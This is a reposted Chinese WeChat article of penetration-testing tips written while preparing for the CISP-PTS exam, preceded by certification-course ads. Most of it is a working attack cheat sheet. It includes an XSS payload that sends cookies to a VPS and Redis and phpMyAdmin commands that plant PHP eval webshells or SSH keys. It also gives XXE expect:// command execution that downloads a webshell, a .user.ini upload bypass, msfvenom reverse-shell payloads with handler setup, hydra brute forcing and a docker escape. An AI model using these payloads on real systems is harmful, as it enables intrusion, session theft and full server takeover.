|
现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
本文由@天明师傅原创投稿,感谢分享 !需要考以下各类安全证书的也可以联系我,价格优惠、组团更便宜,还送【潇湘信安】知识星球1年!
CISP
、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、
CISSP
、ISO27001...
0x00 前言
最近一直在备考PTS,周二考完了,总结了一下PTS,还是有一些小技巧可以在实战中参考使用的。就比如XXE的命令执行和.user.ini文件上传和phpmyadmin后台日志马getshell。没啥技术含量,就是从自己的笔记里选出来的。有啥意见,随意提。
0x01 渗透阶段
1.1、XSS获取cookie
python
-m http.server
8080
# python3开启临时HTTP服务
python -m SimpleHTTPServer
8080
# python开启临时HTTP服务
<
script
>
new
Image().src=
"http://vps_ip:vps_port/?c="
+
document
.cookie;
</
script
>
1.2、Redis攻击
知道
web
目录的绝对路径
有
web
目录和
.ssh
目录的写入权限。
ping
flushall
config
set
dir /
var
/www/html/app1/
config
set
dbfilename a.php
set
x
"<?php @eval($_POST[aa]); ?>"
save
ping
flushall
config
set
dir /root/.ssh/
config
set
dbfilename authorized_keys
set
x
"nnn<ssh_public_key>nnn"
save
dict:
/
/localhost:6379/flushall
dict:
/
/localhost:6379/set
:dir
:/var/www/html/app1
dict:
/
/localhost:6379/set
:dbfilename
:
1
.php
<?php @eval($_POST[
1
]); ?>
dict:
/
/localhost:6379/set
:x
:
"x3cx3fx70x68x70x20x40x65x76x61x6cx28x24x5fx50x4fx53x54x5bx31x5dx29x3bx20x3fx3e"
dict:
/
/localhost:6379/save
加密类型使用To Hex,Delimiter设置为x,然后输入webshell的内容即可得到hex编码后的结果。
webshell一句话编写小技巧:
写一个php架构:
在php架构中写入用到的
eval
函数:@
eval
();
在
eval
函数中嵌套进最终的参数:$_POST[
22
]。
22
是传递函数的密码。
最终结果:
@
eval
($_POST[
22
]);
1.2.4、dict协议写公钥
ping
flushall
dict:
/
/localhost:6379/config
:set
:dir
:/root/
.ssh/
dict:
/
/localhost:6379/config
:set
:dbfilename
:authorized_keys
dict:
/
/localhost:6379/set
:x
:
"nnn<ssh_public_key>nnn"
save
注意:
-
写公钥的两条config命令和一条set命令均需要把前面的命令的空格改成英文格式的冒号。 -
除此之外,还需要加上dict协议的Redis请求地址,如:dict://localhost:6379/
1.3、XXE相关技巧
1.3.1、XXE载荷构技巧
改造前:
改造后:
XXE-Fuzzing.txt的路径:SecListsFuzzingXXE-Fuzzing.txt
有了上述载荷以后,再加上回显位置即可成功利用,完整载荷示例:
<
name
>
<
>
&foo;
</
>
</
name
>
1.3.2、命令执行&&getshell
命令执行的原理是把文件读取用的file://协议换成了expect://协议。
<
name
>
<
>
&foo;
</
>
</
name
>
getshell则是命令执行的变种,通过上传webshell来。
1)使用python托管webshell
python -m http.server 8088
2)下载webshell
<
name
>
<
>
&foo;
</
>
</
name
>
curl
-O vps_addr:port/
111
.php
curl vps_addr:port/
111
.php -o
222
.php
空格用
$IFS
来替代,没啥好说的,常规思路。
下载url不能带协议
下载url用单引号包裹,如果是-o方式,保存文件的名称也用单引号包裹起来。
1.4、.user.ini文件上传
这个跟.htaccess差不多,.user.ini是php给用户的自定义配置文件,可将指定文件按照php脚本文件的形式解析。
介绍:
https:
/
/blog.csdn.net/cosmoslin
/article/details
/120793126
1)上传.user.ini
filename:.user.ini
Content-type:image/jpeg
文件正文:
GIF89a
auto_prepend_file
=
aaa.jpg
filename: aaa.jpg
Content-type:image/jpeg
文件正文:
GIF89a
@
eval
($_POST[
22
]);
# 可替换为其他webshell
1.5、盲注分析
导出数据包:
文件——导出分组解析结果——为纯文本
通过notepad++解码:
提取所有注入数据包,此处使用notepad++中的标记功能,查找模式设置为正则表达式。
提取出来以后,找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。
找到所有数据后,用英文的逗号隔开,然后使用convert从dec转成text。
1.6、phpmyadmin后台写日志马
前提:知道web根目录。
set
global
general_log =
'on'
;
set
global
general_log_file =
'c:/phpstudy/111.php'
select
"<?php @eval($_POST[22]);?>"
写入webshell的浏览器写入示例:
0x02 后渗透阶段
find / -perm -u=s -
type
f 2>/dev/null
find /etc/passwd -
exec
ls /root ;
find /etc/passwd -
exec
cat /root/key.cisp ;
2.2、proxychains爆破
-
修改/etc/proxychains4.conf,将proxy_dns注释掉即可。 -
设置爆破线程为1. -
hydra通过proxychains代理爆破命令示例:
proxychains hydra
ssh:
/
/192.168.1.1 -l root -p /usr
/share/wordlists
/metasploit/unix
_password.txt -t
1
2.3、增加路由
run
autoroute -s
192.168.30.0
/
24
增加
192.168.30.0
/
24
的路由
run autoroute -p 查看已添加的路由
2.4、设置socks代理
search
socks
use
0
set
srvhost
127
.0
.0
.1
exploit
2.5、msf上线机器
载荷生成
msfvenom
-p windows/x64/meterpreter/reverse_tcp LHOST=
192.168.0.44
LPORT=
4443
-f exe -o win7.exe
msf6
> use exploit/multi/handler
msf6
exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6
exploit(multi/handler) > set lhost 192.168.0.44
msf6
exploit(multi/handler) > set lport 4443
msf6
exploit(multi/handler) > exploit
use
exploit/multi/script/web_delivery(加载脚本模块)
set
payload linux/x64/meterpreter/reverse_tcp
set
LHOST 172.16.143.132
set
target 7
exploit
2.6、redis主从复制rce
search
redis
msf6
exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 192.168.100.139
msf6
exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 192.168.100.144
msf6
exploit(linux/redis/redis_replication_cmd_exec) > set lhost 192.168.100.144
msf6
exploit(linux/redis/redis_replication_cmd_exec) > exploit
2.7、docker逃逸-写公钥
查看设备情况
fdisk
-l
创建目录并挂到对应设备上
mkdir /
test
mount /dev/sda5 /
test
写公钥
ssh-keygen -f tmp
cat tmp.pub
ls -al /
test
/root/
#没有.ssh,就创建.ssh
echo
'ssh_key'
> /
test
/root/.ssh/authorized_keys
ssh -i tmp [email protected]
原文始发于微信公众号(潇湘信安):CISP-PTS中的渗透小技巧分享
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论